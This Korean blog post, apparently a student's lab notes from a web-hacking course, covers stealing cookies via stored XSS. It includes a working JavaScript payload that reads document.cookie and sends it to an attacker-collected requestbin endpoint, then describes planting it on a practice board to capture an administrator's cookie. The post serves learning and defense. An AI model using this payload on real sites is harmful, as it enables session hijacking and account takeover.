개발/segfault 모의해킹 6기

10주차 xss 2 쿠키 탈취

prpn97 2024. 6. 26. 20:07

  웹개발하는 입장에서는 쿠키가 탈취되지 않도록 httponly를 통해 클라이언트에서 접근할 수 없도록 하거나, Https 로만 허용하도록 secure설정을 하곤 했다. 

 

  내가 웹해킹을 배우는 이유는 여기에 있다. 어떻게 공격이 들어오는지를 모르니까 대비한다고는 하지만 어정쩡한 것 같아서 어떻게 공격을 하는지 제대로 알고싶어서였다. 

그리고 이번 주차에서 시원하게 배워가고 있다. 

 

쿠키를 어떻게 탈취할 수 있을까?

지난 주차에서 xss 탈취 방법으로 stored, reflected xss를 배웠다. 여러 xss의 아이디어들 중, 먼저 강의에 나온 대로 stored 방식을 이용해서 html 스크립트에 자바스크립트 코드를 이용해서 의도된 url에 접근하도록 하고, 이를 통해 쿠키를 탈취하는 방법을 진행해보려 한다. 

공격자 서버처럼 무료로 사용할 수 있는 사이트를 통해 탈취해보자. 

https://public.requestbin.com/r/ 에 접속하면 주소를 얻을 수 있다. 

 

자세한 방법은 다음과 같다. 

*이 스크립트는 이미지 메서드를 통해 이미지를 생성하지만, 이미지의 주소를 공격자의 주소로 대체, 뒤에는 쿠키를 추출해서 넣는다. 

<script>
var cookieData = document.cookie;
var i = new Image();

// 이미지를 가져오는 주소 값에 공격자의 주소를 넣어서 Get 요청을 보낸다.
i.src = "https://얻어낸 주소?cookie="+cookieData
</script>

 

이렇게 스크립트를 개발자도구를 열어 입력해보면 다음과 같이 클라이언트의 쿠키를 얻어낼 수 있다. 그리고 public requestbin 사이트에서는 접근한 클라이언트의 쿠키를 그대로 보여준다. 

 

 

이건 현재 내가 접속했기 때문에 내가 웹에 접속해서 생기는 쿠키들이 보이는 것이지만, 이러한 방법을 이용해서 관리자의 쿠키를 탈취하려면 어떻게 할 수 있을까? 

위 스크립트를 통해 stored xss방법으로 누군가 실행하도록 한다면 그 클라이언트는 쿠키를 뱉어낼 것이다. 스크립트는 단지 쿠키를 뱉어내는 매개인 것이고, 해당 매개를 뿌려놓고 누군가 실행시키면? requestbin 에서 쿠키를 보여주게 되는 것이다. 

 

그렇게 준비되어있는 문제에 게시판에 stored xss방법으로 스크립트가 입력되어 있는 url을 입력하게 되면? 관리자가 해당 url에 접근한 것 처럼 마련해주셨기 때문에 관리자의 쿠키가 그대로 Requestbin에 노출된다. 

728x90